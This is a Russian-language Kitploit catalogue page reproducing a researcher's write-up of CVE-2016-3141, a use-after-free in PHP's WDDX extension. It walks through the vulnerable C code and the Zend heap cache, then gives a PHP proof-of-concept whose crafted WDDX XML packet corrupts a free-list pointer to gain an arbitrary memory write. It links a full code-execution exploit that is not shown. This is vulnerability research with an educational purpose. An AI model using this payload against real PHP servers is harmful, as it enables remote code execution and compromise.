Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2016-3141 — CVE-2016-3141 | Kitploit
Инструменты/GitHubGitHub/peternguyen93/cve-2016-3141
Криминалистика памятиАнализ уязвимостейАнализ КодаЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

Репозиторий
154210 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2016-3141

1. Детали уязвимости.

Уязвимость использования после освобождения (use-after-free) в wddx.c в расширении WDDX в PHP до 5.5.33 и 5.6.x до 5.6.19 позволяет удалённым атакующим вызвать отказ в обслуживании (повреждение памяти и аварийное завершение приложения) или, возможно, оказать другое неопределённое воздействие, инициировав вызов wddx_deserialize для XML-данных, содержащих специально сформированный элемент var.

2. Обзор бага.

Это баг типа Use-After-Free, который возникает, когда wddx пытается обработать XML-данные. Взгляните на этот код в функции php_wddx_deserialize_ex. Когда wddx_deserialize($xml) получает XML-данные, PHP вызывает эту функцию и затем устанавливает функции для обработки XML-тегов и данных.

root@kitploit:~
	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

Функция php_wddx_push_element создаёт запись для тега, как видно в этом фрагменте. Например, когда вы вводите <string>Hello World</string> и встречается открывающий тег , вызывается php_wddx_push_element для создания элемента st_entry, который хранит информацию о теге. Давайте посмотрим на фрагмент кода ниже.

root@kitploit:~
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME — это процедура, определённая ниже. Эта процедура просто проверяет stack->varname тега: если он не NULL, она клонирует этот stack->varname, а затем освобождает его.

root@kitploit:~
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

Баг возникает в php_wddx_pop_element. Когда XML закрывает тег var, он освобождает varname этого тега, но этот освобождённый указатель всё ещё хранится в stack->varname. Например, если вы создадите var вида <var name='UAF'></var>, php_wddx_push_element создаст структуру, хранящую этот тег var. При закрытии этого тега он освобождается, но код забывает установить stack->name = NULL или уменьшить stack->top. После этого, если вы создадите другой тег, например <string>, функция SET_STACK_VARNAME повторно использует этот освобождённый указатель.

root@kitploit:~
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. Эксплуатация

Когда я впервые увидел этот баг, я подумал: «Нельзя ли превратить его в выполнение кода?» Сначала мне нужно понять, как реализована куча (heap) в Zend. Давайте посмотрим на функцию _zend_mm_alloc_int в zend_alloc.c ниже.

root@kitploit:~
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

Если мы запрашиваем блок небольшого размера (меньше 256 байт), zend_alloc использует heap->cache — список свободных блоков, в котором хранятся связанные списки множества небольших свободных блоков; этот heap->cache аналогичен fast_bin в malloc. Если нам каким-то образом удастся перезаписать указатель best_fit->prev_free_block собственным адресом, а затем снова вызвать zend_alloc, мы сможем использовать этот адрес для записи в произвольное место памяти.

Чтобы сделать это, я создам приведённый ниже wddx XML:

root@kitploit:~
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. Создаём блок размером 32 байта (chunk_a) с помощью тега binary, поскольку этот тег позволяет вводить непечатаемые символы.
  2. Создаём имя того же размера, что и первый binary-тег, и затем делаем так, чтобы это имя было освобождено (chunk_b).
  3. Создаём блок-заполнитель размером 64 байта (chunk_c).
  4. Создаём имя размером 8 байт и затем освобождаем его (chunk_d).
  5. После десериализации этого $xml я делаю foreach-цикл по этому объекту. На первой итерации $k указывает на освобождённый chunk_b, а $v указывает на chunk_a. Я использую оператор concat_function, чтобы перезаписать best_fit->prev_free_block собственными данными.
  6. Использую приведение к строке в PHP, которое вызывает estrncpy, чтобы создать новый блок (chunk_e), указывающий на chunk_b, и поместить собственное значение в heap->cache[index].
  7. Итак, делаем это снова: estrncpy($v,32) ($v=$binary_value). При первом же вызове zend_alloc мы получаем краш с $r12 = 0x4343434343. Если заменить это значение на другой адрес, estrncpy с радостью вызовет memcpy(r12,v,size), и так мы сможем перезаписать что угодно.

Crash

Полный эксплойт можно посмотреть здесь: peter_code_execute.php (Протестировано на Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).

В итоге я успешно превратил этот баг в выполнение кода. Result

4. Ссылки

http://www.cvedetails.com/cve/CVE-2016-3141/.

https://bugs.php.net/bug.php?id=71587.

Скачать инструмент